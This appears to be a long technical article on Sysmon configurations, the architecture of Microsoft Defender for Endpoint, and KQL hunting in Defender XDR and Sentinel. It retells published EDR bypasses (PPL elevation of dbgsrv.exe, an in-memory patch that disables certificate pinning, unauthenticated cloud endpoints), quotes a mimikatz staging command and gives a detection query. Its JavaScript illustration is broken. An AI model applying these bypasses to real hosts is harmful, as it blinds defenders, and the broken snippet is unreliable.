The 2022 introduction of FileBlockExecutable (EID 27) was the first preventive event in Sysmon's history. Olaf Hartong's contemporaneous writeup and Diversenok's independent reproduction both describe what the event does, and the mechanism is more subtle than "the I/O is denied." The Sysmon minifilter intercepts the file-handle close operation. If the rule matches and the file content carries an MZ/PE header, Sysmon logs EID 27 and marks the file for deletion via FILE_DISPOSITION_INFORMATION [@diversenok-2022][@hartong-sysmon14-medium]. The attacker's cmd /c copy mimikatz.exe C:\Users\Public\ produces no command-line error. The copy appears to succeed. The file is then deleted at handle-close time. Hartong's writeup captures the user-visible effect verbatim: "*While there is no error on the command line, the file is not written to disk*" [@hartong-sysmon14-medium]. Diversenok's reverse-engineering reads: "*Sysmon monitors and deletes files on closing instead of writing*" [@diversenok-2022]. The closing-time semantics is the structural reason Diversenok's Bypass #1 (split create-close from open-write-close) works at all; the bypass is incoherent under an Access Denied-at-create model and obvious under the close-time-delete model.

This is a confined preventive surface, and it should not be confused with the much larger Defender exploit-protection blocking surface. Defender exploit protection mitigations include arbitrary-code-guard, control-flow-guard enforcement, and ASR rules -- they sit inside the Defender Antivirus and MDE stacks. EID 27's blocking is one Sysmon minifilter making a file-create decision; it is not a general-purpose application-allow-list, and it is not a substitute for Windows Defender Application Control. Hartong's writeup is explicit about the scope -- "the FileBlockExecutable event" -- as is Diversenok's: the introduction reads "the update introduced the first preventive measure -- the FileBlockExecutable event (ID 27)" [@diversenok-2022].

Twenty-nine events, four hardening releases, one schema. The catalogue is only useful if you configure Sysmon to emit subsets of it, and configuration is where the field's three lineages diverged.

5. Three Canonical Sysmon Configurations

Every production Sysmon deployment in the field is forked from one of three repositories. The lineage matters, and one of the things this article fixes is a common attribution error -- "Florian Roth wrote the canonical Sysmon config" is in widespread circulation, but the canonical root is SwiftOnSecurity's repository, and Roth's repo is a 2018 fork of it.

The open-source generic-signature-format authored by Florian Roth and his collaborators at Nextron Systems; the SIEM-and-EDR field's vendor-neutral detection-rule lingua franca. The `SigmaHQ/sigma` repository ships over 3,000 detection rules covering the Windows kernel-callback surface (heavily Sysmon-aware), Linux audit, macOS unified log, AWS CloudTrail, Microsoft 365, and other event sources. Sigma rules are written once and compiled by community converters into the per-tool query languages (KQL for Defender XDR / Sentinel, SPL for Splunk, EQL for Elastic) [@github-sigma].

SwiftOnSecurity/sysmon-config (February 2017)

The historical root. The pseudonymous account SwiftOnSecurity published the first widely-cited Sysmon configuration template on February 1, 2017 per the GitHub REST API [@github-swiftonsecurity-meta]. The README's design intent is the single sentence still printed at the top of the repo: "This is a Microsoft Sysinternals Sysmon configuration file template with default high-quality event tracing" [@github-swiftonsecurity]. The template emphasises clarity over coverage; the XML is heavily commented, and the rule structure follows a deliberately conservative pattern of <Include> blocks per technique.

SwiftOnSecurity's config is the most-cited starting point for Sysmon deployments worldwide and the one that detection-engineering tutorials default to. It is also the parent of every other Sysmon-config repository on GitHub, in the literal GitHub-fork sense -- the GitHub REST API for both NextronSystems/sysmon-config and (via the historical fork-graph) other community configs returns SwiftOnSecurity/sysmon-config as the parent [@github-nextronsystems-meta].

Neo23x0/sysmon-config, now NextronSystems/sysmon-config (January 2018, renamed 2021)

Florian Roth, working under his GitHub handle @Neo23x0, forked SwiftOnSecurity's config in January 2018 and added blocking-rule support for Sysmon v14 plus the merged community pull-request set. The README's design intent reads: "This is a forked and modified version of @SwiftOnSecurity's sysmon config. ... We merged most of the 30+ open pull requests" [@github-neo23x0]. The maintainer roster as of the present writing is Florian Roth (@Neo23x0), Tobias Michalski (@humpalum), Christian Burkard (@phantinuss), and Nasreddine Bencherchali (@nas_bench).

The repository ships a blocking variant, sysmonconfig-export-block.xml, that adds <RuleGroup> blocks targeting EID 27 (FileBlockExecutable) and EID 28 (FileBlockShredding) for the most common malware-staging file paths. This is the variant SOC teams deploy when they want Sysmon's preventive surface to participate in the response pipeline as a hard block rather than as a detection-only artifact.

The legacy URL `https://github.com/Neo23x0/sysmon-config` now HTTP-301 redirects to `https://github.com/NextronSystems/sysmon-config`. The GitHub REST API for the current repository returns `created_at: 2021-07-24T06:19:41Z` with `parent: SwiftOnSecurity/sysmon-config`, which means the repository as it now exists was created in mid-2021 when Florian Roth moved it from his personal handle to his employer's organization namespace [@github-nextronsystems-meta]. The content lineage from SwiftOnSecurity is unchanged; the move is an organizational one. The exact pre-rename creation date of the original `Neo23x0/sysmon-config` repository is not reliably retrievable from the current API and is best dated as January 2018 based on the README and the fork-history.

olafhartong/sysmon-modular (January 13, 2018)

Olaf Hartong's sysmon-modular was created on January 13, 2018 per the GitHub REST API [@github-hartong-meta]. The repository's design takes a different shape from the monolithic SwiftOnSecurity and NextronSystems configs: instead of one carefully-tuned XML, Hartong publishes a per-EID-per-technique module library that compiles into one of five pre-generated artifacts plus an arbitrary number of custom builds [@github-hartong-modular]. The pre-generated variants are:

sysmonconfig.xml -- the default deployment baseline.
sysmonconfig-with-filedelete.xml -- default plus the EID 23 archive variant of file delete, which preserves the deleted file in C:\Sysmon\ (volume-cost trade-off; recommend dedicated drive).
sysmonconfig-excludes-only.xml -- the verbose variant, which captures everything except a small set of well-known exclusions; useful for detection-engineering R&D on a single host.
sysmonconfig-research.xml -- the super-verbose variant, with the README's standing warning: "really DO NOT USE IN PRODUCTION!" -- this is for live-malware-sample analysis in a sandbox, not for fleet rollout.
sysmonconfig-mde-augment.xml -- the variant whose entire design intent is to augment Microsoft Defender for Endpoint's collection surface "to have as little overlap as possible" with what MDE already captures [@github-hartong-modular].

The MDE-augment config is the artifact this article keeps returning to. It is the operational answer -- maintained by a person, not by Microsoft -- to the question of which Sysmon events are worth collecting on a host that already has MDE installed. We will return to its specific contents in §10. For now, the key observation is that this config exists because of a documented absence: Microsoft has not published a per-ActionType cross-walk between MDE's Device* schema and Sysmon's manifest, so Hartong reverse-engineered one.

Side-by-side comparison

Dimension	SwiftOnSecurity/sysmon-config	NextronSystems/sysmon-config (formerly Neo23x0)	olafhartong/sysmon-modular
Author / org	SwiftOnSecurity (pseudonymous)	Florian Roth + Nextron Systems team	Olaf Hartong (and FalconForce collaborators)
Created	Feb 1, 2017	Forked Jan 2018; renamed Jul 24, 2021	Jan 13, 2018
Distribution	One monolithic XML	Two XMLs (audit + blocking)	Modular per-technique + five pre-generated builds
Design philosophy	Quality starting point, conservative	Community-maintained, blocking-aware	Tunable modular, MITRE ATT&CK-mapped
Best used for	First-time Sysmon deployment	Standalone Sysmon at scale	Sysmon alongside MDE, or per-team customization
Pre-generated v14+ blocking	No (audit only)	Yes (`sysmonconfig-export-block.xml`)	Yes (built from blocking modules)
MDE coexistence variant	No	No	Yes (`sysmonconfig-mde-augment.xml`)

Choosing among the three

The detection-engineering trade-off framing is short. Pick SwiftOnSecurity when you want a clean, well-commented starting point and you are not yet sure which events you actually need. Pick NextronSystems when you want a community-maintained baseline that already has the blocking rules for Sysmon v14+. Pick Hartong when you want fine-grained per-technique tunability or, more commonly, when you are running MDE and need Sysmon to augment rather than duplicate it.

Tactical caution worth one inline note: Sysmon supports one active configuration at a time. There is no aggregate-multiple-XMLs feature at the driver layer. Hartong's modular approach generates a single merged XML at build time; the production fleet receives that single XML and the driver enforces it. If you are trying to run two configurations side by side -- one for the SOC's hunting, one for the platform team's audit -- pick one, merge the rules, and ship the combined product. The deployment tooling in sysmon-modular is built around exactly this constraint.

All three configurations assume the same thing: either Sysmon is the only EDR on the host (a deployment posture that exists in air-gapped, regulatory-no-cloud, or unlicensed environments) or it is augmenting an EDR whose collection surface is known. The augment case is the one where the field has converged on Hartong. To understand why, we have to look at what the other EDR -- Microsoft's own -- actually collects on the host.

6. Microsoft Defender for Endpoint: The Documented On-Host Surface

Two questions about MDE have very different answers. What does Microsoft Defender for Endpoint run on this host? has a primary-source-quality answer from Microsoft Learn. What does it actually do? has only a community-observed answer. The documented surface is the user-mode component inventory plus registry hives and event sources. The community-observed surface includes the kernel-callback inventory, the cloud TLS-pinning details, and the inter-process communication paths -- none of which Microsoft has published. Naming both halves with the right citations on each side is one of the few things this article does that other writeups skip.

The documented surface (Microsoft Learn, primary)

On every onboarded Windows endpoint, Microsoft Defender for Endpoint installs and runs a Windows service named Sense, whose display name is "Microsoft Defender for Endpoint Service" and whose backing executable is MsSense.exe. The on-host troubleshooting page documents the canonical health-check command: sc query sense [@sense-troubleshoot]. On Windows Server 2019, Server 2022, Server 2025, and Azure Stack HCI 23H2 or later, MDE is delivered as a Feature on Demand with the capability name Microsoft.Windows.Sense.Client~~~~. Microsoft documents the verification command verbatim: "DISM.EXE /Online /Get-CapabilityInfo /CapabilityName:Microsoft.Windows.Sense.Client~~~~" [@sense-troubleshoot][@ms-server-endpoints-learn].

Onboarding state is recorded under two registry hives that Microsoft Learn names explicitly:

HKLM\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection -- the policy-driven configuration surface.
HKLM\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status -- the run-time onboarding state.

Onboarding diagnostics land in the WDATPOnboarding event source under the Application event log, with documented event IDs 5, 10, 15, 30, 35, 40, 65, and 70, each of which corresponds to a specific failure mode with a specific resolution procedure [@sense-troubleshoot]. The product installs to C:\Program Files\Windows Defender Advanced Threat Protection\ (the legacy path is preserved even after the September 2020 rebrand).

The documented surface stops here. Microsoft Learn names MsSense.exe, the Sense service, the registry hives, the event source, the Feature on Demand, and the four operating systems. Microsoft Learn does not publish a kernel-callback inventory for the MDE EDR sensor.

The community-observed surface

Past the documented boundary, what is in field-published primary sources is the user-mode binary inventory and the cloud-side TLS path. Three companion binaries sit alongside MsSense.exe:

SenseCncProxy.exe is the cloud-command-and-control proxy. This is the binary that holds the TLS connection out to Defender XDR ingest, applies the certificate-pinning policy, and shuttles agent-bound commands (live-response actions, custom-detection-rule pushes, sensor-configuration updates) back down to MsSense.exe.
SenseIR.exe is the live-response and investigation actions binary. When a SOC analyst clicks Run script or Collect investigation package in the Defender XDR portal, SenseIR.exe is the process that fulfils the request on the endpoint side.
SenseNdr.exe is the network detection and response component, responsible for endpoint-side enrichment of network observations used in the DeviceNetworkEvents table.

These binaries are not enumerated on Microsoft Learn in the same way the Sense service itself is. They are documented in MDE incident-response runbooks, in third-party reverse-engineering posts, and in the file-system signature data on any onboarded endpoint. The article treats their existence as community-observed. SenseIR.exe is corroborated by InfoGuard 2025's reverse-engineering of MDE's live-response cloud path [@infoguard-2025]; SenseNdr.exe in particular lacks an explicit community primary writeup as of 2026 -- its role here is inferred from its on-disk binary metadata and the file-system signature data on onboarded endpoints.

The kernel-side surface MDE shares with Defender Antivirus is documented in the Defender Antivirus product line [@ms-defender-av-arch]:

WdBoot.sys is the Early-Launch Antimalware (ELAM) driver. It is the first non-Windows driver to load at boot and gates which non-ELAM drivers are allowed to load after it. It is signed with the Antimalware Extended Key Usage, 1.3.6.1.4.1.311.61.4.1 [@ms-learn-elam-sample].
WdFilter.sys is the Defender Antivirus file-system minifilter. It sits alongside SysmonDrv.sys at a different Filter Manager altitude.
WdNisDrv.sys is the Network Inspection System driver, which provides the host-firewall-augmenting NIS layer.

A Windows process-protection level, introduced in Vista (as Protected Process, for DRM) and extended in Windows 8.1 (for antimalware), that prevents user-mode debugger attach, code injection, and `OpenProcess` for write from any caller that does not itself run at an equal or higher PPL signer level. Antimalware-PPL (`PROTECTED_ANTIMALWARE_LIGHT`) is the level reserved for security products signed with the Antimalware EKU; `MsSense.exe` and Sysmon v15+ both run at this level. The Windows boot-order privilege that lets a driver signed with the Antimalware EKU `1.3.6.1.4.1.311.61.4.1` [@ms-learn-elam-sample] load before any non-ELAM driver and classify subsequent boot-start drivers as `Good`, `Bad`, or `Unknown` so the kernel can decide which to load. The ELAM driver *itself* is measured (along with the bootloader, kernel, and other early-boot artefacts) into TPM PCRs by Windows's *Measured Boot*, which is a separate boot-integrity feature; ELAM's job is to classify, not to measure. Defender Antivirus's `WdBoot.sys` is the canonical ELAM driver. Sysmon's `SysmonDrv.sys` is *not* ELAM-signed; this is the pre-driver-load horizon discussed in §12. The Authenticode Extended Key Usage `1.3.6.1.4.1.311.61.4.1` [@ms-learn-elam-sample], issued by Microsoft to security vendors after a code-signing and behavioral review. The EKU gates two distinct things: ELAM signing eligibility (so the driver loads first) and Antimalware-PPL eligibility for the user-mode service (so the service is harder to tamper with). MDE's `MsSense.exe`, Defender Antivirus's `MsMpEng.exe`, and Sysmon v15+ all carry this signature path.

Antimalware-PPL on MsSense.exe

The MsSense.exe service runs as Antimalware-PPL -- PROTECTED_ANTIMALWARE_LIGHT in the kernel data structure. The protection level prevents an attacker with SYSTEM privileges from attaching a user-mode debugger, suspending the service, or injecting code into its address space using ordinary Windows debugging or code-injection APIs. This is the same protection level Sysmon v15+ runs at, and it is the same level Defender Antivirus's MsMpEng.exe has run at since Windows 8.1. The structural defense closes user-mode tampering as a class. The residual attack surface is kernel-mode primitives -- which is what FalconForce had to use in 2022 to debug MDE [@falconforce-2022].

The dispositive reverse-engineering primary: FalconForce 2022

Olaf Hartong and Henri Hambartsumyan, working at FalconForce, published the most-cited reverse-engineering writeup of MDE's on-host architecture in 2022. The post's TL;DR captures both the debug-bypass technique and the cloud vulnerability that resulted from applying it:

You can debug MDE running on an endpoint by running `dbgsrv.exe` and raising its PPL protection to WinTcb. This can be used to snoop on data being transmitted by MDE to the cloud. We identified a vulnerability related to missing authorization checks of data sent from the MDE endpoint to the M365 cloud, allowing anyone to send spoofed data to any M365 tenant.

The technique is precise [@falconforce-2022]. FalconForce raised the PPL signer level of Windows's PE debug server (dbgsrv.exe) to WinTcb -- a signer level higher than Antimalware-PPL -- and used the elevated debug server to attach to MsSense.exe. From inside that debug session they instrumented SspiCli!EncryptMessage, the SSPI function MDE's cloud transport uses to wrap each outbound message before TLS encryption, and captured the plaintext payloads. The plaintext capture surfaced CVE-2022-23278: a missing-authorization vulnerability in which the M365 cloud trusted whatever device-identifying claims the endpoint asserted, with no cross-check that the asserting endpoint owned the device identity it claimed [@msrc-cve-2022-23278][@nvd-cve-2022-23278]. Microsoft patched the vulnerability on March 8, 2022, with a public acknowledgement to FalconForce: "Microsoft released a security update to address CVE-2022-23278 in Microsoft Defender for Endpoint. This important class spoofing vulnerability impacts all platforms. We wish to thank Falcon Force for the collaboration on addressing this issue through coordinated vulnerability disclosure" [@msrc-cve-2022-23278].

Note: The kernel-and-Defender-Antivirus surface MDE shares (WdBoot.sys ELAM, WdFilter.sys minifilter, WdNisDrv.sys NIS) is documented. The specific callback inventory the MDE EDR sensor itself registers is not. The community's best-published primary for what MsSense.exe actually does is the FalconForce 2022 reverse-engineering writeup -- and it covers a narrow slice (TLS interception and one cloud-authorization bug), not a full callback list. The Hartong sysmonconfig-mde-augment.xml config exists as a community-curated artifact precisely because Microsoft has not published a per-ActionType-to-per-kernel-callback cross-walk. The most-cited operational config in the field is downstream of a documentation gap. This is the second aha moment of the article.

Putting the on-host pieces together

flowchart TD B["WdBoot.sys (ELAM, Antimalware EKU)"] -.boot order.-> F["WdFilter.sys (file minifilter)"] B -.boot order.-> N["WdNisDrv.sys (Network Inspection)"] F --> M["MsSense.exe (Antimalware-PPL aggregator)"] N --> M M --> IR["SenseIR.exe (Live Response)"] M --> NDR["SenseNdr.exe (Network Detection)"] M --> P["SenseCncProxy.exe (cloud forwarder)"] P -- "TLS + certificate pinning" --> C["Defender XDR ingest (regional Kusto)"]

The picture is asymmetric: the kernel-driver substrate at the top is documented in the Defender Antivirus product line; the user-mode service inventory in the middle is documented for MsSense.exe and partly documented for the companion binaries; the cloud transport at the bottom is documented at the API-contract level (TLS, certificate pinning) but the specific endpoints and the on-the-wire payload format are reverse-engineered. The community published primaries -- FalconForce 2022 above the line, InfoGuard Labs 2025 below it -- are how the field knows what they know about the cloud-bound payload. Which is the next layer.

7. The Cloud Pipeline: SenseCncProxy.exe to Defender XDR Ingest

The wire between MsSense.exe and Microsoft's cloud is TLS with certificate pinning. It is also, twice in the last four years, the place where the most interesting Defender for Endpoint vulnerabilities have lived. The 2022 round closed one of them. The 2025 round is still open as of this article's writing.

Certificate pinning and the FalconForce 2022 method

MsSense.exe does not trust whatever the Windows certificate store says about the chain to Defender XDR ingest. It pins the certificate. FalconForce's bypass is the one §6 already named: raise dbgsrv.exe to WinTcb PPL, attach the elevated debug server to MsSense.exe, instrument SspiCli!EncryptMessage to capture the plaintext payload before TLS encryption [@falconforce-2022].The specific PPL elevation technique is published in the same writeup. PPLKiller's /enablePPL patch writes the Antimalware-PPL bit into dbgsrv.exe's _EPROCESS.Protection field at the highest signer level (WinTcb). The result: a PE debug server running at a PPL level above Antimalware-PPL, with OpenProcess rights against any Antimalware-PPL target [@falconforce-2022]. This requires SYSTEM plus a kernel primitive, typically delivered via BYOVD.

The InfoGuard Labs 2025 follow-up took a different route to the same problem. Instead of reading plaintext before TLS encryption, InfoGuard patches the certificate-chain validation function in memory so the endpoint certificate is no longer checked at all. Any local TLS-stripping proxy can then intercept the wire. The verbatim patch is two CPU instructions written into CRYPT32!CertVerifyCertificateChainPolicy: "mov eax, 1; ret" -- which forces the function to return success without performing any actual chain check [@infoguard-2025].

With the pinning gate disabled, InfoGuard's team observed the on-the-wire protocol. The cloud-bound payload goes to two endpoint families: /edr/commands/cnc for command-and-control and /senseir/v1/actions/ for live-response actions. The vulnerability they then disclosed is that both endpoint families accept "data sent from the MDE endpoint to the cloud ... without validating authentication tokens, allowing a post-breach attacker with a machine's ID to hijack the command-and-control channel" [@infoguard-2025]. Microsoft's response, verbatim: "All findings were reported to the Microsoft Security Response Center (MSRC) in July 2025. However, Microsoft has classified them as low severity and has not committed to a fix" [@infoguard-2025].

FalconForce 2022 found a missing-authorization bug in the cloud's trust path. CVE-2022-23278 was patched. InfoGuard Labs 2025 found a different missing-authorization pattern in different cloud endpoints -- different bug, same class -- and the disclosure record says Microsoft has not committed to a fix. The cloud trusts whatever the endpoint claims about itself far enough that the same authorization gap keeps surfacing. The arc that began with the March 2022 spoofing-CVE patch is not closed. This is the third aha moment of the article, surfaced again in §11.

What the cloud does on arrival

Once SenseCncProxy.exe has TLS-shipped the event over the wire to the regional Defender XDR ingest endpoint, two things happen on the cloud side. First, the event lands in the Advanced Hunting Kusto cluster. Microsoft Learn's verbatim freshness claim is: "Advanced hunting receives this data almost immediately after the sensors that collect them successfully transmit it to the corresponding cloud services" [@advanced-hunting-overview]. "Almost immediately" is empirically a few seconds in steady state, which is exactly what Maya saw in §1: a row with Timestamp three seconds in the past.

Second, the event is replicated for use by Microsoft's built-in detection rules, MITRE-mapped queries, and the cross-domain correlation surface that joins endpoint events to email events, identity events, and cloud-application events. The cross-domain join is one of the most-cited reasons enterprises stay on the licensed product rather than fall back to standalone Sysmon: KQL can join DeviceProcessEvents to EmailEvents to IdentityLogonEvents in one query, and Sysmon-only deployments cannot do that without a separate SIEM doing the cross-source enrichment.

Data residency is documented at the regional level in the MDE configure-server-endpoints page: "data is stored in the US for customers in the USA; in EU for European customers; and in the UK for customers in the United Kingdom" [@ms-server-endpoints-learn]. Retention in-portal is the same quota for all geographies: "Advanced hunting is a query-based threat hunting tool that you use to explore up to 30 days of raw data" [@advanced-hunting-overview]. Past 30 days, the customer has to extend the retention surface via Microsoft Sentinel's per-table archiving, which is the operational story §9 picks up.

The event's journey, end to end

sequenceDiagram participant K as Kernel callback (WdFilter or SysmonDrv) participant S as MsSense.exe (Antimalware-PPL) participant P as SenseCncProxy.exe participant CP as CRYPT32!CertVerifyCertificateChainPolicy participant C as Defender XDR ingest (regional Kusto) participant Q as DeviceProcessEvents table K->>S: Synchronous callback notification Note over S: Enrich (parent PID, hashes, identity, ProcessGuid) S->>S: SspiCli!EncryptMessage (FalconForce 2022 plaintext capture point) S->>P: IPC to cloud forwarder P->>CP: Validate Defender XDR certificate chain CP-->>P: Pinned chain OK (InfoGuard 2025 bypass: patch CP to return 0 unconditionally) P->>C: HTTPS POST /edr/commands/cnc or /senseir/v1/actions/ C->>Q: Write into Kusto cluster Note over Q: "Almost immediately" -- seconds end to end Q-->>K: Queryable via KQL

The diagram is annotated with the two community-disclosed interception points because they are the two places the field has actually been able to observe what is on the wire. Between SspiCli!EncryptMessage (where the plaintext payload exists) and CRYPT32!CertVerifyCertificateChainPolicy (where the certificate chain gets validated), the path is otherwise opaque to external researchers. The Microsoft-published side of the story is the contractual one: TLS, certificate pinning, regional ingest, Kusto cluster, KQL exposure. The reverse-engineered side fills in the rest.

Within seconds, the event appears as a row in DeviceProcessEvents. The reader-side schema is where the analyst lives. So: what columns?

8. Six `Device*` Tables and One Worked KQL Query

Every detection rule in Microsoft Defender XDR, every hunting query in Microsoft Sentinel, and every analyst pivot Maya does on her console is a KQL query against six load-bearing tables. Knowing those six tables is the price of admission to the Defender XDR field.

Microsoft's data-explorer query language, originally built for Azure Data Explorer (formerly Kusto). KQL reads as a pipeline of operators -- `where`, `project`, `summarize`, `join`, `order by` -- left to right. Advanced Hunting in Microsoft Defender XDR and analytics queries in Microsoft Sentinel both expose the same KQL dialect; the same query text can be moved between the two surfaces with only the table-name namespace changing [@advanced-hunting-overview][@sentinel-xdr-connector].

The six tables

The six tables that this article calls "load-bearing" are the ones that map most cleanly to Sysmon's manifest and that detection rules join against most often:

DeviceProcessEvents -- the canonical reader-side analogue of Sysmon's EID 1 (ProcessCreate) and EID 5 (ProcessTerminate). The schema reference page names roughly fifty columns including Timestamp, DeviceId, DeviceName, ActionType, FileName, FolderPath, SHA1, SHA256, MD5, FileSize, ProcessId, ProcessCommandLine, ProcessIntegrityLevel, ProcessTokenElevation, ProcessCreationTime, AccountSid, AccountName, AccountUpn, LogonId, and the full InitiatingProcess* family of parent-process columns [@deviceprocessevents-table].
DeviceNetworkEvents -- the analogue of Sysmon EID 3 (NetworkConnect) plus EID 22 (DNSEvent) and the MDE-only network-protection telemetry. Columns include RemoteIP, RemotePort, RemoteUrl, LocalIP, LocalPort, Protocol, RemoteIPType, and the InitiatingProcess* family [@sentinel-xdr-connector].
DeviceFileEvents -- the analogue of Sysmon EIDs 11 (FileCreate), 15 (FileCreateStreamHash), 23 (FileDelete archived), and 26 (FileDeleteDetected).
DeviceImageLoadEvents -- the analogue of Sysmon EID 7 (ImageLoad).
DeviceRegistryEvents -- the analogue of Sysmon EIDs 12-14 (RegistryEvent family).
DeviceEvents -- the miscellaneous catch-all. AMSI scan results, exploit-protection events, ASR rule fires, Network Protection blocks, and other MDE-specific events that do not fit cleanly into any of the per-event-class tables surface here as ActionType discriminators.

Past the six core tables there are siblings the article does not walk in detail but that detection engineers query alongside: DeviceLogonEvents (interactive, remote-interactive, network logons), DeviceFileCertificateInfo (Authenticode signer information), DeviceInfo and DeviceNetworkInfo (asset and posture). The cross-domain tables that the Defender XDR portal exposes -- AlertInfo, AlertEvidence, IdentityLogonEvents, EmailEvents, CloudAppEvents -- are also queryable from the same surface, and the cross-domain join is one of the load-bearing reasons SOC teams move queries from a standalone SIEM into Advanced Hunting [@sentinel-xdr-connector].

Sysmon EID to MDE table cross-walk

The cross-walk is the table detection engineers actually need at their desk. Every row is a Sysmon EID, the MDE table the analogous event lands in, the ActionType discriminator inside that table, and a fidelity rating relative to Sysmon's manifest -- because the MDE schema does not surface every Sysmon field, and the fidelity gaps are where Hartong's MDE-augment config earns its keep.

Sysmon EID	MDE table	ActionType	Fidelity vs Sysmon	Hartong-augment disposition
1 ProcessCreate	DeviceProcessEvents	ProcessCreated	Full	Drop (MDE covers)
3 NetworkConnect	DeviceNetworkEvents	ConnectionSuccess	Full	Drop
7 ImageLoad	DeviceImageLoadEvents	ImageLoaded	Full	Drop
8 CreateRemoteThread	DeviceEvents	RemoteThreadCreated	Truncated (no SourceImage hash)	Keep verbose
9 RawAccessRead	(none)	--	Omitted	Keep
10 ProcessAccess	DeviceEvents	OpenProcessApiCall	Truncated (no GrantedAccess mask)	Keep verbose, narrow targets
11 FileCreate	DeviceFileEvents	FileCreated	Full	Drop
12-14 RegistryEvent	DeviceRegistryEvents	RegistryValueSet etc.	Full	Drop
17-18 PipeEvent	(none)	--	Omitted	Keep
19-21 WmiEvent	(none)	--	Omitted	Keep
22 DNSEvent	DeviceNetworkEvents	DnsQuery	Full	Drop
23 FileDelete (archive)	DeviceFileEvents	FileDeleted	Partial (no archive)	Keep archive variant on selected paths
26 FileDeleteDetected	DeviceFileEvents	FileDeleted	Full	Drop
27 FileBlockExecutable	(none)	--	Omitted (MDE has separate prevent surface)	Keep if Sysmon is enforcing

The fidelity column is the operational answer to "do I need Sysmon if I have MDE?" Where MDE is Full, Sysmon duplicates. Where MDE is Truncated, Sysmon adds the fields MDE drops. Where MDE is Omitted, Sysmon is the only collection mechanism in the host's telemetry surface. This is the cross-walk that Hartong's sysmonconfig-mde-augment.xml implements as XML rules.

The Kusto Hunt: PowerShell instances that called out within sixty seconds of spawn

The single most-frequently-cited hunting query in the Defender XDR field is some variation of the following. The query joins DeviceProcessEvents to DeviceNetworkEvents on (DeviceId, InitiatingProcessId) and surfaces every PowerShell instance that opened an outbound network connection within sixty seconds of being spawned. This is the query that turns Maya's hunch ("that base64-encoded command looks bad") into a SIEM-routable signal:

// The Kusto Hunt: PowerShell instances that called out within
// 60s of process create, joined on (DeviceId, InitiatingProcessId).
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "powershell.exe" or FileName =~ "pwsh.exe"
| project DeviceId, ProcessId, ProcessCreationTime = Timestamp,
          ParentImage = InitiatingProcessFileName,
          ParentCmd   = InitiatingProcessCommandLine,
          ProcessCmd  = ProcessCommandLine,
          User        = AccountUpn
| join kind=inner (
    DeviceNetworkEvents
    | where Timestamp > ago(24h)
    | where ActionType == "ConnectionSuccess"
    | project DeviceId, InitiatingProcessId, NetTime = Timestamp,
              RemoteIP, RemotePort, RemoteUrl
) on DeviceId, $left.ProcessId == $right.InitiatingProcessId
| where (NetTime - ProcessCreationTime) between (0s .. 60s)
| where RemoteIP !startswith "10."
    and RemoteIP !startswith "192.168."
    and not(RemoteIP matches regex "^172\\.(1[6-9]|2[0-9]|3[0-1])\\.")
| project DeviceId, ProcessCreationTime, NetTime,
          ParentImage, ProcessCmd, RemoteIP, RemotePort, RemoteUrl, User
| order by NetTime desc

The query is twelve operative lines and exercises four of KQL's most useful primitives: join (on a tuple key), between (for time-window matching), !startswith and the regex check (for RFC 1918 exclusion), and project (for column shaping). The between (0s .. 60s) is the crux. A legitimate PowerShell launched by a logon script may also produce a network connection within the same minute -- the filter is necessary but not sufficient. Adding ParentImage in ("winword.exe", "excel.exe", "outlook.exe") narrows the hunt to the Office-spawning-PowerShell pattern that fits the Emotet and Qbot families. Adding RemoteUrl in (~CustomTI) narrows the hunt further to known-bad indicators from the tenant's threat-intelligence list.

{` // JavaScript that walks through the logic of the KQL hunt. // The actual query runs in Advanced Hunting; this runs in your browser // so you can see the join semantics with a small synthetic dataset.

const processEvents = [ { DeviceId: "D1", ProcessId: 7700, Timestamp: 100, FileName: "powershell.exe", InitiatingProcessFileName: "WINWORD.EXE", ProcessCommandLine: "powershell.exe -enc JABzAD0A..." }, { DeviceId: "D2", ProcessId: 4422, Timestamp: 200, FileName: "powershell.exe", InitiatingProcessFileName: "explorer.exe", ProcessCommandLine: "powershell.exe -Help" }, ];

const networkEvents = [ { DeviceId: "D1", InitiatingProcessId: 7700, Timestamp: 130, ActionType: "ConnectionSuccess", RemoteIP: "185.243.115.84", RemotePort: 443 }, { DeviceId: "D2", InitiatingProcessId: 4422, Timestamp: 215, ActionType: "ConnectionSuccess", RemoteIP: "10.0.0.5", RemotePort: 443 }, ];

function isPrivate(ip) { return ip.startsWith("10.") || ip.startsWith("192.168.") || /^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(ip); }

console.log(JSON.stringify(hits, null, 2)); // Expected output: one hit on D1 (WINWORD-spawned powershell to public IP); // D2 is filtered out (RemoteIP is RFC 1918 private). `}

The semantic of the KQL is the semantic of the JavaScript: a relational join on a composite key, filtered by a time-window predicate and a network-class predicate. The KQL query is shorter and faster; the JavaScript is what the join is actually doing. Once a reader internalizes this pattern, the rest of the Advanced Hunting surface unfolds from it -- every other detection in the field is a variant of "join Device* table A to Device* table B on (DeviceId, InitiatingProcessId), filter by time and content."Advanced Hunting per-query quotas are 100,000 rows of returned data and 10 minutes of execution time per call [@advanced-hunting-overview]. The practical workaround for queries that exceed either limit is to pre-filter with a tighter time window (Timestamp > ago(1h) instead of ago(24h)), or to push the heavy aggregation into a Sentinel scheduled analytics rule that runs every hour and materializes the result table for further hunting.

The same query, the same columns, the same six tables surface in two different places: the Defender XDR portal itself (at security.microsoft.com legacy or defender.microsoft.com current), and inside Microsoft Sentinel via the Defender XDR connector. The two surfaces are not the same.

9. The Microsoft Sentinel Integration Model

The same KQL query runs in two different places, but the economics of the two places are not the same, and that distinction is the one that catches detection engineers off guard. In-portal Advanced Hunting and Microsoft Sentinel both expose the same Device* tables. They do not expose them with the same retention, the same join surface, or the same cost.

The connector contract

Microsoft Sentinel's Defender XDR connector (the post-Ignite-2023 successor to the legacy Microsoft 365 Defender connector) streams Microsoft Defender XDR incidents, alerts, and Advanced Hunting events into Sentinel's Log Analytics workspace. Microsoft Learn's verbatim definition is: "The Defender XDR connector allows you to stream all Microsoft Defender XDR incidents, alerts, and advanced hunting events into Microsoft Sentinel and keeps incidents synchronized between both portals" [@sentinel-xdr-connector]. The connector exposes per-table streaming, meaning the operator picks which Device* tables to bring into Sentinel and pays per-GB ingestion only on those tables.

The connector also handles the legacy-connector transition: when enabled, "any Microsoft Defender components' connectors that were previously connected are automatically disconnected in the background" [@sentinel-xdr-connector]. If a tenant was using the legacy Microsoft Defender ATP connector or per-product Defender connectors, those get retired when the unified Defender XDR connector takes over. This is the cleanup detail that catches teams off guard during the migration -- they expect both connectors to coexist for the transition window, and they do not.

Three asymmetries

